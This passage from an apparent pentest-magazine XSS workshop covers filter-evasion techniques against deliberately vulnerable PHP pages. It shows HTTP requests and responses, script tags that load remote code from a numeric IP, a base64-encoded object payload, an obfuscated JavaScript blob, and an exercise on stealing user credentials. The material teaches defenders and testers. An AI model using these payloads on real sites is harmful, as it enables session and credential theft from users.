generated page sources, shown in Figure 16, we can find out what goes wrong.
40
The page truncates our arbitrary input to 30 bytes, so in order to get our code executed we must find
a way to reduce the address length. We can use two tricks:
IP2Long: the trick consists in the transformation of the canonical ipv4 in its related numerical
version. You can do this with a little bit of python single line black magic. Just issuing the following
command will convert the canonical IPv4 192.168.1.101 in 3232235877: python -c import
socket, struct; print struct.unpack(>L,socket.inet _ aton(192.168.1.101))
[0]. So the attack pattern script must be modified again in the following way: <script
src=http://3232235877></script>
41
Figure 17. Generated Form
42
Module IV
n the previous modules of this workshop series I have showed how to detect and exploit the
vulnerabilities that lead to the XSS attacks using different communication protocols. I showed also
you some basic example of filter evasion, in this In this module I am going to better illustrate the
techniques used to evade the poorly designed xss filters, adopted by programmers to protect their
web application from this kind of attack.
43
The above mentioned class of filters can be implemented in several different point along the journey
of requests and responses of a web application. In a modern network environment, the user input
filters could be implemented as shown in Figure 1.
Operating System Filters: at this layer the filters are implemented using an host based intrusion
detection system or by using the pattern matching of the local firewall. Since multiple applications
can share the same system, and thus may require different rules to filter the user input, usually the
filters implemented at this layer follow the blacklist pattern, thus they are relatively easy to bypass;
Web Server Filters: the filters implemented at this layer are designed assuming to be effective
at network level. Depending on the device\software type this kind of filters usually follow either
the blacklist that the regular expression pattern. Based on my experience, its rare to find well
designed filters on this layers: in real life no one (TM) different from the one who developed
the application really knows what kind of input is required for each parameter managed by the
application, so the network admins tend to avoid interferences with the application logic and filter
out only what is considered bad (blacklist pattern);
Web Application Filters: this kind of filters are the most effective ones because can be implemented
according to the blacklist, the whitelist and the regular expression pattern. Although used alone a
filter is not enough to protect the web application from the XSS attacks, a well designed filter can
prevent a cross site scripting attack.
44
Lets try to implement the filter evasion process on a blacklist filter example and on a regular
expression filter example. Consider the following vulnerable code that implements a blacklist filter
and imagine that the page which includes it is used to generate the link to the users pages. Imagine
that you have no access to the source code and that you have to determine how to bypass the filter
implemented at line 8.
45
1 <html>
2 <head>
3 <title>Buggy Evasion</title>
4 </head>
5 <body>
6 <?
7 if (isset($_GET[userparam])) {
8 if (strpos($_GET[userparam], script)) {
9 echo <a href=http://www.pentestmag.com/.
10 str_replace(script, null, $_GET[userparam]) .
11 >Go to Pentest Magazine User Page</a> ;
12 } else {
13 echo <a href=http://www.pentestmag.com/. $_GET[userparam] .
14 >Go to Pentest Magazine User Page</a> ;
15 }
16 }
17 ?>
18 </body>
19 </html>
The first request to the application could be, as mentioned above, like the following:
GET /evasion.php?userparam=<script>alert(1);</script> HTTP/1.1
Host: 192.168.204.2
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-it,it;q=0.8,en;q=0.5,en-us;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
<html>
<head>
<title>Buggy Evasion</title>
</head>
<body>
<a href=http://www.pentestmag.com/<>alert(1);</>>Go to Pentest Magazine User Page</
a></body>
</html>
As you can see the script gets replaced with a null string. We can try to mutate the case (eg.
alternating uppercase and lowercase) of the characters contained in the tag script, in order to trick
the filter: the browser executes the javascript independently from the case of the tag characters.
Therequest could be the like the following:
GET /evasion.php?userparam=><ScRiPt>alert(1);</ScRiPt><dummy+a= HTTP/1.1
Host: 192.168.204.2
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-it,it;q=0.8,en;q=0.5,en-us;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
46
This time the response includes some part of the user supplied input in the generated page,
asshownbelow:
HTTP/1.1 200 OK
Date: Tue, 23 Dec 2014 01:15:18 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u14
Vary: Accept-Encoding
Content-Length: 193
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
<html>
<head>
<title>Buggy Evasion</title>
</head>
<body>
<a href=http://www.pentestmag.com/><ScRiPt>alert(1);</ScRiPt><dummy a=>Go to Pentest
Magazine User Page</a></body>
</html>
Consider the following vulnerable code that implements a regular expression filter, and consider that
you are under the same limitations of the example above. Imagine that you have no access to the
source code and that you have to determine how to bypass the filter implemented at line 8.
1 <html>
2 <head>
3 <title>Buggy Evasion</title>
4 </head>
5 <body>
6 <?
7 if (isset($_GET[userparam])) {
8 if (preg_match_all(/<[^>]+>/, $_GET[userparam])) {
9 echo(No no no naughty boy );
10 } else {
11 echo <a href=http://www.pentestmag.com/. $_GET[userparam] .
12 >Go to Pentest Magazine User Page</a> ;
13 }
14 }
15 ?>
16 </body>
17 </html>
47
The first request to the application could be, as mentioned above, like the following:
GET /evasion.php?userparam=;!<PTMAG>=&{()+~[]/$:+$$__ HTTP/1.1
Host: 192.168.204.2
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-it,it;q=0.8,en;q=0.5,en-us;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
<html>
<head>
<title>Buggy Evasion</title>
</head>
<body>
Observing the response you can notice that the filter has been triggered but you have no information
from the error message about what part of the supplied input has triggered it. The only way to identify
a valid input suitable for xss attacks is by issuing a new request which not contains a part of the input
that triggers the filter. Since is very probable that the filter is matching the tag included in the user
supplied input, we can issue a new request which does not include the <PTMAG> tag. The request
could be the like the following:
GET /evasion.php?userparam=;!=&{()+~[]/$:+$$__ HTTP/1.1
Host: 192.168.204.2
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-it,it;q=0.8,en;q=0.5,en-us;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
This time the response includes some part of the user supplied input in the generated page,
asshownbelow:
HTTP/1.1 200 OK
Date: Tue, 23 Dec 2014 01:52:14 GMT
Vary: Accept-Encoding
Content-Length: 163
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
<html>
<head>
<title>Buggy Evasion</title>
</head>
<body>
<a href=http://www.pentestmag.com/;!=>Go to Pentest Magazine User Page</a></body>
</html>
48
At this point we have to find a way to perform the injection and execute the arbitrary code using the
available characters. In this case we can use the HTML events as a method to execute the arbitrary
script when certain conditions are met within response page. Since the element in which the injection
occurs is clickable, we can execute the arbitrary code once the onmouseover event is fired.
Therequest used to bypass the filter and execute arbitrary code could be the following:
GET /evasion.php?userparam=+onmouseover=alert(XSS) HTTP/1.1
Host: 192.168.204.2
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-it,it;q=0.8,en;q=0.5,en-us;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Below is reported the generated response page which includes our payload that gets executed each
time the mouse pointer is passed over the link, as shown in Figure 4:
HTTP/1.1 200 OK
Date: Tue, 23 Dec 2014 02:23:31 GMT
Vary: Accept-Encoding
Content-Length: 182
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
<html>
<head>
<title>Buggy Evasion</title>
</head>
<body>
<a href=http://www.pentestmag.com/ onmouseover=alert(XSS)>Go to Pentest Magazine
User Page</a></body>
</html>
49
<script/**/src=http://1.2.3.4type=text/javascript>
<script/src=http://1.2.3.4type=text/javascript>
In the situations where the number of characters used for the injection is a problem or if you have to
bypass regular expression like (ht|f)tp(s)?:// you can trick the protocol resolution handler by using
// which translates to http://
<script src=//1.2.3.4j>
You can encode a payload using base64 inside a tag that supports it (eg. object)
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=></object>
Using a tool[4] whose use is discouraged by the researcher who developed the technique, because
is detected easily in his opinion but not in my experience during the penetration tests, is possible to
execute arbitrary javascript using only the following characters: $= ~[];+ _ \!().
$=~[];$={___:++$,$$$$:(![]+)[$],__$:++$,$_$_:(![]+)[$],_$_:++$,$_$$:({}+)
[$],$$_$:($[$]+)[$],_$$:++$,$$$_:(!+)[$],$__:++$,$_$:++$,$$__:({}+)[$],$$_:++$
,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+)[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+)
[$.__$])+((!$)+)[$._$$]+($.__=$.$_[$.$$_])+($.$=(!+)[$.__$])+($._=(!+)
[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!+)[$._$$]+$.__+$._+$.$+$.$$;$.$=($.__
_)[$.$_][$.$_];$.$($.$($.$$+\+$.$_$_+(![]+)[$._$_]+$.$$$_+\\+$.__$+$.$$_+$._$_+$.
__+(+$.__$+)+\)())();
50
MODULE II EXERCISES
In order to practice with the topics covered, i propose the following exercises that require you to find
and exploit some XSS on various on-line vulnerable web applications.
Exercise #1
The vulnerable web application located at the address http://testasp.vulnweb.com/ is prone to Cross
Site Scripting attacks (HTTP GET Method). Find and exploit the vulnerabilities that lead to XSS attacks
using the techniques showed during the workshop.
Exercise #2
Modify the XSS exploit shown in the article to submit the forms and steal the user credentials instead
that showing a popup with the stolen credentials..
Exercise #1
Try the illustrated techniques against YOUR OWN home router. If you are not the owner please dont
try this against it
Exercise #2
Consider the following PHP code
51
$user = [email protected];
$pass = pwd;
$host = 1.2.3.4;
$con = imap_open({$host/pop3/novalidate-cert}INBOX, $user, $pass);
$MC = imap_check($con);
$range = 1:.$MC->Nmsgs;
$response = imap_fetch_overview($con,$range);
foreach ($response as $msg) {
echo <pre>;
echo #{$msg>msgno} ({$msg->date}) From: {$msg->from} {$msg->subject}\n;
echo </pre><br><br>;
}
Write the exploit capable to execute arbitrary javascript code. Ps. run the mail server and the
vulnerable page on your computer
MODULE IV EXERCISES
In order to practice with the topics covered, I propose the following exercises that requires you to
exploit the following XSS filters.
Exercise #1
Consider the following PHP code
<html>
<head>
<title>Buggy Evasion</title>
</head>
<body>
<?
Exercise #2
Consider the following PHP code
<html>
<head>
<title>Buggy Evasion</title>
</head>
<body>
<?
if (isset($_GET[imagepath])) {
echo <img alt=Image src=.htmlentities($_GET[imagepath]). />;
}
?>
</body>
</html>
52
Francesco Perna
Francesco Perna is a computer enthusiast since childhood, he has
spent more than 15 years in the research field focusing on the security
issues related to applications and communication protocols, both from
the offensive and defensive point of view. He also cooperated with the
OWASP Project writing the chapter on Java for the Owasp Backend
Security Project. Francesco is also a certified lead auditor 27001
and OSSTMM Professional Security Tester (OPST) He is a partner
and technical director of Quantum Leap s.r.l., an Italian company that
offers security services like pentesting, security evaluations and code
review to customers such as: utility and telecommunication companies,
governments, military, enterprise and corporations, financial institutions,
insurance companies.
80+ Classes
40+ Microsoft Expert
Speakers
Get Your Texas-Sized
Registration Discount
Register NOW!
www.sptechcon.com